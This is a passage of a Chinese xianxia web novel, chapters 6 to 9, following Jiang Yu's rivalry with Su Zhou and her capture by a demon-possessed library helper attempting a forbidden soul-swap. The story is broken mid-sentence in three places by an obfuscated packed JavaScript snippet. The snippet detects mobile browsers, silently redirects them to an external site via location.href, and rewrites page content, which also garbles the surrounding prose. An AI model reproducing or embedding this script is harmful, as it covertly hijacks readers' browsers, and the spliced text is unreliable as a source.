姜鱼:“你记错了,我没哭。” 林风笑道:“那便是我搞错了。” 话题自然进入下一部分,只有宿舟深深看了姜鱼一眼,没有说话。 讨论又持续了一段时间,李休音走时,天色已晚了,姜鱼正准备回去,于照叫住了她,“小鱼,晚上有空吗?师兄有话跟你说。” 姜鱼犹豫了一下。 她感觉到有一道视线看着她,不用回头,凭感觉也知道是宿舟。 他看着自己干什么,想探听情报? 姜鱼半句都不会让他听见,直接拒绝了师兄,她晚上确实另有安排,话说完,那道视线消失了。 于师兄道:“好吧,你好好休息,明日再见。” 回到家,姜鱼给脚腕的扭伤涂了药,家中灵药不少,像这种扭伤,涂上过一晚上就好了。 接着从书柜里翻出了压在最底下的一本书:《白螺剑谱》。剑谱到她手里很多年了,但还跟新的一样,多亏她平时爱惜,基本上不怎么翻看。 这次她决心要好好学剑,不是说一句空话而已。 剑谱一共有七层心法,这些年她断断续续练到第三层,因为剑只是她的许多攻击手段之一,剑招也没练得多熟,如今重新翻看这本心法,竟然陌生得很。 “这里有这句话吗?” “嘶,这句没看懂。” “好困……” 房间里时不时响起她的喃喃自语声,面前的烛台堆起厚厚的烛泪,烛影摇晃,寂然无声,不知不觉,姜鱼趴在桌上睡着了。 过了一会儿,房门被人轻轻推开。 白荔轻手轻脚走进房间,看到烛光映在女儿脸上,将她浓翘的睫毛打下一层浅影,脸颊粉透,微微圆润的弧度,落在当娘的眼里,一团稚气可爱。 她忍不住笑了。 俯身将人抱起送回床上,帮她盖好被子,姜鱼喃喃:“娘……学剑……” “知道了。”白荔轻声道,“你爹说的气话,何必跟他较真?” 只有当娘的清楚,姜鱼是被她爹那句“糟蹋了剑”刺激到了,跟她爹赌气呢。前几年宿舟也说过类似的话,导致两人至今还掐得跟乌眼鸡一样。 不过……她回头看向剑谱,坐到桌前,挑了挑灯芯,埋头书写起来。 第二天,姜鱼早早醒了。 昨天她梦到娘给她唱摇篮曲,睡得格外好,伸了个懒腰起来,发现剑谱端端正正摆在桌上,旁边还多了一本册子。 打开一看,一行行工整字迹映入眼帘,看过内容,竟然是她娘写的剑谱注释,将她看不懂的地方都做了详细解释。 姜鱼眼眶微热,她娘自从伤了手之后,不仅不能拿剑,写字也十分吃力,这么多字,娘写的时候手腕一定又痛了吧? 她将剑谱和注释抱在怀里,更坚定了要练好剑的决心。 来到青云阁,天色尚早,今日听说是武训的日子,上课的屠师兄还没来,候补们正在闲聊。 见她来了,于照跟她打招呼,“姜师妹,早。” “师兄早。” 姜鱼报以甜甜微笑。 她和于师兄很早就认识了,师兄人长得俊雅,辈分高,脾气温和,很好相处。姜鱼曾听弟子们私底下议论,说于师兄样样就好,就是差了点什么,但具体差什么,又没人说得上来。 “昨日看你脚有伤,今日觉得如何?” “什么,姜师妹受伤了吗?”林风也凑过来。 因昨日的发言,姜鱼对他印象不怎么样,总觉得他问那话很刻意,可又猜不出他是什么心思,而且他来自六峰,诸峰之中,六峰的实力是最弱的。姜鱼觉得,此人有些深藏不露的意思。 正想着,一旁芸晚已经递了药过来,姜鱼道:“没事,已经好了。” 又问她:“芸师姐,你会十五道金符吗?” 芸晚点点头。 “太好了,以后我可以跟你学啦。” “你不是跟峰主学过?” 姜鱼没好意思说四峰主已经把她拉黑了,不过金符并不是什么不传之秘,芸晚便答应下来。她本来还担心,昨天赞同了宿舟的观点,姜鱼会对自己有意见,没想到她并不介意,这么看来,她并非针对某个观点,就是单纯讨厌宿舟而已…… 她脸一红,脱口而出,“比不上你和宿舟。” 被提到名字的人坐在座位上,这边四人聊得火热,他那里冷成冰窟,也没人要跟几人搭话的意思。 姜鱼哼了一声,“假清高。” 宿舟抬眸看过来,眼神微冷。 芸晚连忙道:“是我们没顾得上跟宿舟打招呼,冷落了他。” 要命了,她竟然觉得姜师妹生气的样子也很可爱,不忍见宿师弟和她争执起来。 “这话就不对了,宿师弟一贯如此。”林风笑着开口,“其实姜师妹和宿师弟之间,是演的吧?昨日师妹也说,没哭过,都是误会。” 姜鱼皱眉看他:“你什么意思?” “猜错了吗?那我道歉。”他说,“师妹千万别生气,我可得罪不起三长老。” “……” 见姜鱼不说话了,他又说:“整个天剑宗,谁敢得罪姜师妹?昨日来的李师姐,也跟她交好,就算走走过场,评分也不会低吧?” “真吵。” 宿舟冷冷一声,打断了他的话。 林风还在笑着,姜鱼却觉得这笑实在很刺眼。 她只觉有点堵,刚想说话,上课的屠师兄来了。屠石位列天榜第三,是个刀修,他长相粗阔,眉弓压着眼睛,有些凶相。 一进门,他先自我介绍了一番,大谈特谈起自己的除魔经历,语调都高了几分,“那时天昏云暗,其他人见了那魔,都不敢上前,只有我冲上去,连劈三刀,干净利落,将魔劈死在地。” 说完,挑眉看着众人。 三人都道:“屠师兄厉害。” 只有姜鱼和宿舟没说话。 心里有几分傲的人,不会随便吹捧别人,宿舟几乎不夸奖别人,而姜鱼,只夸自己真正佩服的人。 屠石扫了一眼,眉压低了几分,终于步入正题,“今日武训,你们就分两人一组——” “比试吗?” “比什么?”他摆摆手,“峰内小比,宗门大比,一天天的还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463163|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比够?这次,我要你们互相喂招。” 见他们吃惊,他不耐烦道:“你们商量商量分组吧,剩下那人,就跟我交手。” 于照第一时间就找了姜鱼,姜鱼也爽快同意了。 芸晚犹豫了一下,鼓起勇气找宿舟,“宿师弟,可以跟我一组吗?” 宿舟拒绝了她,说用剑和用符不好配合。 芸晚:“好吧。” 林风也过来凑热闹,“那我呢?宿师弟莫非也看不上我?” 宿舟冷声道:“确实看不上。” 林风:…… 于是分组定下来,姜鱼和于照一组,芸晚和林风一组,宿舟拒绝了两人,只能跟屠石过招了。 来到演武场,姜鱼和于照先上场。 姜鱼:“师兄,这次我想只用剑法,你能配合我吗?” 于照欣然同意:“好啊。” 听到这话,宿舟诧异往姜鱼这边看了一眼。 上场后,姜鱼果然只用白螺剑法,于照也是剑修,让人意外的是,他竟然对白螺剑法很熟悉,配合姜鱼出招恰好到处,帮她熟悉剑招,在场几人看了连连都点头。 “配合不错。”屠师兄评价。 “于师兄跟姜师妹关系一定很好吧。”芸晚也感慨。 不知为何,话说完觉得身边温度冷了几分,她偏头看宿舟,“姜师妹好像并非剑修,怎么忽然专注练剑了,师弟怎么看?” “装模作样。” 芸晚愣了一下,“为何这么说?” 宿舟垂下眼眸,没说话。 很快轮到林风和芸晚上场,两人表现中规中矩,下场后换了屠石和宿舟上,场面立刻不一样了。屠师兄的刀法悍猛,大开大合,刀风刮过处,场外几人都不由纷纷后退。 “师兄这是……” 这还能叫喂招吗?屠石更像是动了真格,刀刀带着杀气,完全不顾及对方是后辈师弟。 “这……不太好吧?” “师弟恐怕会受伤。” 听着旁边议论,姜鱼沉默看着场中,她能看出屠师兄在刻意为难,难道就因为刚才宿舟没夸他?这叫她高兴不起来,因为刚才她也没夸…… 在一刀震裂了宿舟的虎口之后,屠石收了刀,“你小子,还不错。” 宿舟抿了抿唇,没说话。 屠石略显阴沉的目光在他和姜鱼之间转了一圈,道:“常听说你们两实力相当,不如加试一场,就由你来给姜师妹喂招吧!” 姜鱼:…… 还真让她猜中了。 两人神色复杂对视了一眼,宿舟提剑再次下场,姜鱼看到他虎口渗出的血顺着修长手指落下,衬得肤色更显冷白。 她道:“你的伤不处理一下?” “不必。” “哦。” 非要装,可怪不得她了。 姜鱼拔剑出鞘,心里已经在计划,趁他受伤,要在他身上捅几个窟窿才好。 宿舟眸深如墨,淡漠道:“你这剑法,看起来还是没什么长进。” 姜鱼:就应该一剑捅死他! 她毫不迟疑,起手剑式如惊鸿,一剑直刺宿舟面门! 宿舟抬剑抵挡,然而他察觉不对,这一剑明显比刚才她和于师兄对招时更快、更凌厉,念头猛然闪过——她刚才是故意的? 刚才的对招,就是故意演给他看的! 虎口伤处再度崩裂,血流如小溪。 他咬牙:“狡诈。” 姜鱼挑唇,露出一丝狡黠如狐狸的笑,“宿行云,你怎么每次都上当呢?” 双剑再度碰在一起,狭窄剑身映出两人眉眼,视线狠狠相撞,迸溅的火花比剑上更炽热,更难分难解。 7.第 7 章 姜鱼没想到宿舟会被针对,打从一开始,她和于照对招时就没用全力,只是在反复熟悉招式而已。 她倒不是故意演给对方看的,只是出于应有的防备心——谁会在死对头面前漏泄底牌呢? 也只有宿舟,练剑练得一根死脑筋,虽偶有长进,但十次有七次会上她的当。 这几年来她虽然疏于练剑,但也不是完全没练,怎么可能有人三年之间丝毫不进步,也只有宿舟这么想。 因为他从一开始就看不上自己的剑,而这几年双方交手,她也不以剑招取胜,更让他掉以轻心。 她将刚才温习过的白螺剑法一股脑使出,剑式如同叠浪,层层涌起,攻势绵密不绝,逼得对方连退数步。 她也没有趁势追击,而是见好就收,心知刚才只是打了个他一个措手不及,等他调整过来,剑招上的比拼,露怯的就是自己了。 她刚刚收剑回鞘,脑海里忽然叮咚一声,系统:【武训结束,你对宿舟的评价是——A下次喂招还找你/B咱们配合真默契】 看见选项的瞬间,姜鱼简直要笑出声。 这倒霉系统终于有一次合她心意了,看似夸奖的话,在这种场景下说出来,跟嘲讽有什么区别? 她精挑细选了一个选项,“跟剑修练剑感觉就是不一样,下次喂招还找你。” 说完,清楚看到宿舟冷了脸,颊侧微微凹陷了一下,竟然被她气到咬后槽牙,姜鱼心中一阵暗爽。 结束了武训,于师兄又一次找她,这次姜鱼没拒绝。 出了演武场,有条花木扶疏的小径,清幽僻静,姜鱼随手摘了两瓣菊花吃着玩,含糊道,“师兄想跟我说什么?” 于照问:“你和宿舟是什么情况?” “什么?”她怎么听不懂师兄在说什么呢。 “这两年我忙于修炼,没怎么关注你们的事,不知你们怎么会闹成这样……” “其实也没什么。” 话是这么说,她脸上却一秒失去了笑容,于照摇了摇头,看来这仇确实结得深…… “师兄找我,就是为了说这个吗?” “不全是。” 于照算是看着姜鱼长大的,小时候她跟在屁股后面喊哥哥的时候,别提多可爱了,随着年纪长大,来往渐渐少了,关系也不如以前亲近。 他有些怀念当初,但也明白,小鱼长大了,不可能事事还像小时候那样。 “此次天骄之争,师兄很看好你。” “于师兄,那你呢?” “说实话,师兄不想争了。” 十年前,他和陈师兄争夺天骄之位,那时他意气风发,认为自己希望很大,竭尽全力却依然落败,他花了好几年才调整过来,但也因此失了心气,一蹶不振。这次再度入选,心中毫无波澜,若不是为了二峰的颜面,他恐怕会选择退出。 他叹了口气,“师兄虽然看好你,却也要劝你一句,放平心态,你还年轻,一时输赢影响不了什么。” 姜鱼摇了摇头:“师兄,我有必须赢的理由。” “什么理由?” “很多。” 她说了一连串理由,为了爹娘,为了师尊,还有绝不能输给宿舟的决心。 于照看着她亮闪闪的眼睛,欲言又止,最终化成了一声叹息。 姜鱼发现师兄是真的喜欢叹气。 “好吧。”他道,“既然如此,师兄会帮你。” “不要。”姜鱼立刻拒绝,“我会凭自己的本事赢,师兄,不管你为什么参加天骄之争,我们都是竞争对手。” 于照惊讶过后,又一阵哑然,彻底被她说服了。 “师兄知道了。”他踟蹰片刻又说,“其实,师兄另有一件事想拜托你……” 姜鱼离开青云阁时,天都快黑了,她刚走出正门,听到身后有脚步声,回头看见宿舟,有些惊讶:“你怎么还没走?” 宿舟冷漠不语。 姜鱼觉得,他好像比之前更不开心了一点。 估计还是因为演武场的事,他不开心,姜鱼就开心,甚至心情很好的哼起了曲子。 宿舟皱了下眉:“于照说了什么,让你这么高兴?” 姜鱼:“关你什么事。” 她垂眸看了看,他的伤估计上过药,血止住了,淡淡药香气飘散空中。 宿舟:“我只是提醒你,你们是竞争对手。” 姜鱼:? “你觉得我会被骗?”她眉眼带笑,“你还是先顾好自己吧,就算是天剑峰的石头也不能不长智商啊。” 宿舟:…… 怼完人,姜鱼脚步轻快下了山,入秋的夜里渐冷,风比平时还大,明天估计要下雨了。 从主峰的青云阁回三峰,要到渡头乘飞舟或仙鹤,这一路不算近,路过书阁时,她往里看了一眼,弟子们也都陆续回去了,阁中一片安静。 从空荡荡的广场走过,身后忽然升起异样感。 有人跟着她! 姜鱼佯装毫无察觉,快步往前走,心却提了起来,什么人会在大晚上的跟踪她?她再次察觉到了魔气,天剑宗内真的有魔?! 此魔能在剑宗隐藏这么久,绝对不简单。 她没傻到回头跟对方硬刚,她扣紧了手里的符纸,疾步下山,等上了飞舟,那如跗骨之蛆的视线才消失了。 坐在飞舟上,她仍感觉脊背一阵阴寒,松开手时,符纸浸染了一层冷汗。回头望去,天色黢黑,树木森森,书阁掩映在树影中,如同蛰伏扭曲的兽影。 倏然,一道剑气划破长空,带着一物,稳稳落在了舟上。 姜鱼愣了下,落在她手中的,是一张纸条,展开一看,上面写着:书阁,洛雨。 这是宿舟的字迹。 对了,刚才宿舟在她后面,比她更晚离开青云阁,难道他看到了跟踪自己的人?这个洛雨是谁? 她攥紧了纸条,眉心紧紧蹙了起来。 第二天姜鱼心不在焉,好不容易挨到下课,直奔书阁而来,不出意外的,在书阁外看到了那道高挑瘦削人影。 “昨天你看到人了?”她也不废话,直入正题。 宿舟点了点头。 “洛雨是谁?” “周夫子的助手。”他道,“昨夜我观察,她身上并无魔气。” “她没入魔?那她为什么跟踪我?” “不知。” 按理说,一次还可能是错觉,两次错认魔气可能性不大,这件事该告知长老们,但如果他们两同时指控,洛雨牵连上魔,必死无疑。 “我想先见见她。” “我在周围打听情况。” 办起正事的时候,两人都是利落不多话的性格,竟莫名有种默契。 正要走时,姜鱼忍不住又问了一句,“你怎么认识她的?” 宿舟:“碰到过她给师尊送书。” 姜鱼:“哦。” 她一路进了书阁,逛了一圈没找到洛雨,只好先找熟人打听情况,书阁的王之,之前手头窘迫时,曾找她借过钱,跟她关系不错。 “洛雨不在,应该是去二峰送书去了。” 书阁杂事繁多,杂役们只能做些粗活,夫子便从外门收了几个助手,帮着整理书册,这几人不算是正式入门弟子,地位比杂役略高,王之也是其中之一。 姜鱼跟他打听洛雨的情况,王之道:“小雨嘛,人挺聪明的,夫子很喜欢她,书阁里这么多书,随便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466274|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提起一本,她都记得位置,换我可做不到。” “她最近有什么异样吗?” “异样?”王之挠了挠头,“没有吧……” “那书阁中,有什么异常吗?” “好像也没有。”王之说,“前几天抓住一个偷书的,还有西南角檐下的风铃坏了,也不知谁干的。” 姜鱼:…… 看来风铃质量不行。 “不过,说起洛雨,其实她对你——” “王之!” 随着一声清脆呼喊,姜鱼回过头,洛雨就站在门口,她个子稍矮,脸蛋微圆,给人一种很好相处的感觉。 “洛雨,你来得正好,姜师姐找你。” 他们不算正式的内门弟子,叫一声师姐,也是敬称。 洛雨的视线从进来起就落在姜鱼身上,眼神激动,两颊泛着红晕,呼吸都急促了几分。 王之小声说:“就是这样,她特别崇拜你。” 他把空间留给两人,洛雨强抑激动心情,走到姜鱼面前,“姜、姜师姐,我特别特别喜欢你,去年宗门大比,我亲眼看到你夺魁……师姐,你好厉、厉害!” 洛雨紧张到有些结巴,脸越来越红,完全是她的小迷妹模样。 姜鱼有些疑惑:“以前我来书阁这么多趟,怎么没见过你?” 洛雨不好意思:“因、因为我不好意思见你,我、我只是书阁的杂役……” “所以你躲着我?” “嗯。” 和宿舟说的一样,姜鱼没从她身上看出什么异常,又问,“你最近接触过什么人吗?” “什么人?”洛雨不解,“除了去二峰给长老送书,我没去过别的地方。” 姜鱼点点头,正要告辞,洛雨鼓起勇气道:“师、师姐,听说你会画符,可以送一张亲手画的符纸给我吗?” 她语带期待,叫人不忍拒绝。 姜鱼神色微顿,摇头道:“没带符纸在身上,不太方便。” “哦、哦。” 她惭愧低下头,好像自己提了什么过分的要求,再抬头时,姜鱼已经出去了。 目送她走远,洛雨缓缓收起紧张害羞的表情,取而代之的,是黏稠如海藻一般的痴迷贪婪,“小鱼,我好喜欢你,喜欢到想彻底变成你……” 出了书阁,天下起了小雨,阵阵秋风吹得雨丝连成斜线,落在身上,又添一层凉,她不由搓了搓手。 宿舟站在不远处的柿子树下,正跟一个小弟子打听情况。 那弟子紧张到手脚都不知该往哪放,一直低头看着脚尖,不敢看他的脸。 不得不说,宿舟确实长了一张过分好看的脸,但他也只有脸好看一个优点了,整个云剑宗,找不到比他更讨厌的人。 她抬起头,看到树上挂着火红的柿子,眼珠一转,有了主意。 从腰包中摸出一副小巧的弹弓,她先将弹弓瞄准了树下的人,心知直射肯定会他被察觉,弹弓上移,对准了他头上的柿子。 瞄准,拉弓,松手,一气呵成。 啪。 柿子从枝头滚落,砸在宿舟肩头,软趴趴的塌着,汁水顺着手臂缓缓淌下,连脸上也溅了不少。 “师、师兄……” 小弟子吓了一跳,宿舟面无表情,捡起没烂的半个柿子,隔着雨帘,看到对他吐舌头的姜鱼。 他手上暗劲一送,半个柿子如同暗器穿透雨幕,砸向姜鱼的脸。 姜鱼心道不妙,下意识抬手一挡。 啪地一声,柿子在手心里开了花,黏腻的汁水把衣袖弄得脏兮兮。 姜鱼:“宿行云——” 宿舟淡漠的声音隔着雨幕传来:“请你吃,别客气。” 8.第 8 章 正要发作,旁边弟子说了句,柿子树是夫子亲手种的,避免了更多柿子遭殃的命运。 调查毫无收获,姜鱼也收手准备走了,忽然之间,她注意到宿舟身体晃了一下,扶了一下身旁的树,很快又松开了。 只是一瞬间的动作,姜鱼也察觉到了不对。 他怎么了? 可惜隔着雨幕,看不清他的表情。 难道他身上有什么隐疾?她认识宿舟这么久,怎么从未发现过这回事? 但仔细一想,他们也不是天天见面,平日一个在三峰,一个在五峰,有什么她不知道的,再正常不过了。 刚才柿子砸下的时候,他的反应似乎也有些慢了…… 正觉得不对劲时,系统也来凑热闹:【你发现宿舟似乎身体不适,你打算——A叫住他询问/B追上去问候】 “他身体不适,我问什么问?” 系统又开始发病了。 说话间,宿舟都已经走了,他也不打伞,没一会儿就消失在雨幕里。姜鱼不想追上去淋雨,更不想去问,就算是刺探敌情,也没有特意追上去问的。 她还没试过不选这些选项有什么后果,干脆盯着屏幕,看它什么时候会消失。 过了漫长的五分钟,屏幕终于消失了。 姜鱼松了口气。 她快把屏幕上的字都看花了,想想这东西真麻烦,万一哪天她跟人打起来了,忽然来个弹框,那不是完了吗? 系统也不知是不是心虚,除了弹选项,一直安静如鸡。 那让她倒霉,应该也倒不到哪里去吧? 然而姜鱼还是低估了系统的威力,晚上回到家,她就轰轰烈烈病倒了,靠着修仙之人的好体质,除了小时候,她根本没生过病,这次却发起了高烧,人都烧迷糊了。 隐约听到娘亲担忧的话音,意识再清醒过来时,已经是第二天早上,一碗凉粥下肚,稍缓燥热,李休音来看她了。 “师姐。” “怎么突然病了?” “估计是昨天淋了雨。”姜鱼可怜巴巴的说。 李师姐摸了摸她的额头,发现热度惊人,帮她把冰帕子盖上,眼里透着疼惜。 其实淋雨的另有其人,生病的却是她,这破系统! 李休音安慰她,目光落在旁边,见桌上放着一本《白螺剑仙传》,不由失笑。 她记得小鱼5岁时就爱看这个,现在都这么大了,还是爱看这本书。这是根据白荔生平写成的传记故事,当年曾小火过一阵,不过如今已经没人看了,就连姜鱼手中这本,都放了快十年,书页陈旧泛黄,因为经常翻阅,快要散架。 “已经帮你请过假了,不必担心。”她说,“说起来,宿舟还问起你,对你很关心。” “他关心我?” 姜鱼微微睁大眼睛,根本不信。 估计是师姐编来骗她的,她常说同门之间不要闹得太僵,却不知他们之间的矛盾无法调和。 “好了,你好好休息吧,我晚点再来看你。” “师姐——” “怎么了?” “书阁有个叫洛雨的弟子。”姜鱼慢吞吞的说,“我觉得她有些不对劲。” 原本她对洛雨没那么怀疑,直到她开口问自己要一张符……天剑宗没人比她学得更博杂,她深知,自己接触过的东西,可能会成为发动术法的条件,所以她直接拒绝了。 师姐向来谨慎,告诉她一定能把事情查清楚。 姜鱼就这样迷迷糊糊又睡着了,再睁眼时,眼前一片黑,只有一盏昏黄的烛火在眼前摇晃,火光映着一张阴冷的脸,见她醒了,露出牙齿,笑意森森,“你醒了。” 洛雨?! 姜鱼意识到不对,想起身却动弹不得,低头一看,她的手脚被几道极细的灵线捆住了,灵线自地上的阵法中伸出,而她就被困在阵法正中央。 这阵法线条走势繁复,但能看出是个困阵,常见困阵她都知道破解之法,此阵却是第一次见。 再看四周,是个狭小空间,堆满了杂物,有股陈旧腐败的书墨气味,旁边的窗锁着,外面一片漆黑。 看样子,她应该是被困在了书阁的某个杂间里。 “看够了吗?” 洛雨盘腿坐在她面前,膝上摊开一本书,书上字迹一片朱砂般的红,书阁之中,只有禁书会用这种颜色的墨迹书写。 姜鱼发着烧,手脚绵软无力,挣不开灵线,也就不徒劳努力了,她调整了一个舒服的姿势,问她:“你怎么做到的?” 洛雨微微一笑,摊开手,五颗小纸团赫然在她手心。 姜鱼:…… 没想到那天用来打风铃的纸团被她捡到了,看来她是以此为媒介,神不知鬼不觉把自己弄来了这里。向她索要符纸,只是为了多一层保险。 “那天在书阁外,果然是你。”她说,“这阵法,你跟谁学的?” “我自学的。” 见姜鱼不信,洛雨道,“书阁里一半的书,我都看完了,我会的东西比你想的更多,比如这个——” 她将手中的书凑近烛火,大方让姜鱼看清上面的字。 “换魂大法。” “你想跟我换魂?”烛火照着姜鱼漆黑微圆的眼瞳,透着不可置信。 “没错。”洛雨凑近她,压低声音,用那种黏腻的语气说,“谁让我是真的喜欢你呢?小鱼。你那么漂亮,那么耀眼,你一出现,所有人都会关注你。你太优秀了,我做梦都想变成你,我想过你的人生……” “先不说这术法会不会成功。”姜鱼问,“你不怕换了之后被人发现?” “换魂之后,你的意识也会改变,你以为你是洛雨,我以为我是姜鱼,连我们自己忘了这回事,谁还能发现?” “天剑宗厉害的人不少,为何偏偏找我?”姜鱼歪了歪头,“你怎么不去祸害宿舟呢?” “宿舟?”洛雨摇了摇头,“他可不如你如意。” “几年前,我去五峰送书,看到几个弟子联手欺负他,说是对招,他们不准他用剑,只给他一根树枝,他们却能用剑,还把他砍得浑身是伤。” 姜鱼微怔。 她从未听宿舟提过这事,他刚加入内门的时候,有这么惨吗? 见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493005|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走神,洛雨抬起她的下巴,让她看着自己,“每次你来书阁,大家都很开心,包括夫子,他们都喜欢你,而你又格外好心,他们找你帮忙,你从不拒绝。如果我是你,根本不会看那些人一眼……” 姜鱼注意到,她的瞳孔外圈泛着诡异的红,脖颈间隐约冒出暗红色纹路,如果诡异缠绕的毒蛇。 是魔纹! 她果然入魔了。 “你为什么不害怕?”像不满意她的反应,洛雨手上用了几分力,掐得她雪白肌肤泛起了红。 “我怕。”姜鱼认真说。 她不怕洛雨施术成功,这种禁术施法时间长,等这半天,估计师姐和爹娘都找来了,只要她人还在宗内,就不可能长时间瞒过其他人。 她怕的是洛雨没学明白,换到一半出什么岔子,魂没换成,她就一命呜呼了。 她一点也不想死,更不想这么憋屈的死。 所以,等人发现不靠谱,还得靠她自救。 正想着,洛雨盯着她看了半天,手顺着她的脸往上移,语气痴迷,“小鱼,你的眼睛真好看,很快,它就要属于我了……” “我看未必。” 话音落,姜鱼指尖弹出一道灵气,飞快改动了地上的阵法。 阵线交错,灵光亮起。 洛雨还未反应过来,缠绕在姜鱼手脚上的灵线松开,像长了眼睛一般,迅速绑在了她手上。 “你——” 她下意识一挣,姜鱼取出一张定身符,啪一下贴在了她额头。 阵+符双重束缚,她彻底动不了了。 见状,姜鱼松了口气。 “你都没发现,这阵法有漏洞吗?”她忍不住吐槽,“真让你给我换魂,那不是完了?” 洛雨:…… 姜鱼刚才跟她闲扯半天,就是为了拖延时间,观察阵法疏漏,也不知洛雨从哪本书上学来的,她只是简单改动两笔,就成了自困之阵。 洛雨奋力挣扎,动弹不了分毫,她还没完全魔化,经过姜鱼的改动,阵法现在困住她绰绰有余。 保险起见,姜鱼又从储物戒中掏出一沓符纸,一张张贴在她身上,把她全身都贴满了。 这些符纸无一例外,全都是定身符,伤害不高,但侮辱性极强。 要不是动不了,她现在已经羞愤自尽了。 正贴得起劲,砰地一声,杂间门被人从外面踹开,宿舟提剑站在门口,楼道里灯火跃动,明暗光影错落在他眉眼之间,浓墨鎏金,丰神异彩。 姜鱼反应慢了一拍才抬头,错过了他眼中一抹焦急。 看清是他,不禁嫌弃道,“怎么是你?” 宿舟:…… 他眸色微冷,转身就走。 “等等。” “帮个忙,把她弄出去。” 姜鱼是颐指气使的语气,但因为发着烧,人虚弱,话音也软,落在那人耳中,似带上了几分祈求意味。 他不禁回过头,见她烧得两颊通红,露出的雪白手腕处,有道明显的勒痕。 眼神瞬间一沉,明明已经走出好几步,又折返回来,走到了她身边。 9.第 9 章 杂间狭小逼仄,他一进来,就显得有点挤了,姜鱼抬头看着他,有点纳闷,她以前怎么没注意过宿舟有这么高? 宿舟低头打量她,也不说话。 “把她弄走,看我干什么?” “你站得起来?” “当然。” 她只是发烧,又不是瘸了,怎么会站不起来? 宿舟没再说什么,将洛雨搬出去了。 他走了,姜鱼想起身,这一动,才发现根本使不上力,两条腿软得跟棉花似的,浑身还冒虚汗。 不就是用了下灵气,这病竟然又变严重了。 可她刚刚才在宿舟面前说自己没问题,这会儿竟然真的站不起来,未免太丢脸了,她赶紧在储物戒里翻找起来。 “有了!” 她找到了一张强身符,这符能让她一段时间之内行动如常,过后会更加虚弱,她一咬牙,贴在了手臂上。 霎时,像一股电流从脊背直窜上颅顶,她浑身一阵激灵,熬过那阵激痛之后,虚弱和疲惫都消失无踪。 很好,她又是一条好鱼了! 遮好手臂的符纸,走出杂间,从楼道的木窗往下看,她才发现自己是被困在了书阁最顶层,下到一楼,听到一阵肃冷沉闷的说话声,显然这不是宿舟的声音。 她从书架后悄悄探头看了一眼。 “姜鱼!” 一露头就被发现,果然是她爹。 她悻悻然从书架后走出来,来的不止是她爹,三位长老都到齐了,周夫子也是一脸严肃,这阵仗可真不小。 宿舟沉默站在角落,视线在姜鱼身上转了一圈,见她脸色如常,行动自如,目光落在她右臂处,她总是习惯把符纸贴在那里,这次也一定不例外。 姜鱼注意到了,他立刻收回了视线。 “此人身上已出现魔化特征。”大长老检查了一遍,得出结论,“入魔已深,没救了。” 二长老按住洛雨丹田,正要施力,大长老道:“做什么?” “当然是毁掉魔种,难不成任其壮大?” “魔种一毁,她立时毙命。” “入魔之人,死不足惜。” “剑宗内已经数十年没出现过入魔者,此人突然入魔,有些蹊跷,先审过再处置不迟。” 两人意见相左,姜爹适时开口,“大长老说得有理。” 连周夫子也赞同,二长老只好作罢。 姜爹又看姜鱼,冷下脸来,“到底怎么回事,还不说清楚?” 当着几位长老的面,姜鱼没有隐瞒余地,一五一十将事情都说了。 “你是说,你早就察觉不对,却瞒着不说,还想自己解决?” “我——”她辩解道,“我就是不想冤枉好人。” “在你眼里,我们是什么是非不分的人?”姜爹让她气得够呛,“入魔者不是小事,宗内诸多长老管事,要你逞什么能?” 姜鱼心想,那可不一定。 事后这种话谁不会说,她要是不自己调查清楚,说不定洛雨就被偷偷处置了,而她根本无法知道发生了什么。 “你还不服气?我看你——” “好了。”大长老温声道,“这次小鱼受了惊吓,先让她回去休息,要骂要罚,之后再说吧。” 姜怀城哼了一声:“还不走,等我送你?” 姜鱼不服气地哼哼两声。 在她爹动怒之前,像条鱼一样滑溜走了。 大长老看了一眼角落的宿舟,他正看着姜鱼离开的方向,估计他也不想跟他们这群老家伙待着,他道,“宿舟,你也回去吧。” “弟子告退。” …… 姜鱼这一回去,强身符的效力过去,直接就趴下了,在床上瘫软了两天,病才算是好利索了,然后就接到她爹的通知,经过长老们商量,罚她去书阁贴净魔符。 好消息是,知情不报,宿舟也有份,所以和她一起受罚。 净魔符有清静魔气、驱邪避祸的效用,夫子交代,必须要阴阳交汇时分贴上去才能充分发挥效果。 于是日落时分,姜鱼不情不愿来到书阁,宿舟也在同一时间到的。 跨上台阶,两人对视。 说起来,宿舟这次算是被她连累的,但姜鱼是不会对他愧疚的,甚至坑他坑得理直气壮。 夫子给两人各分了一叠符纸,就自行忙碌去了。 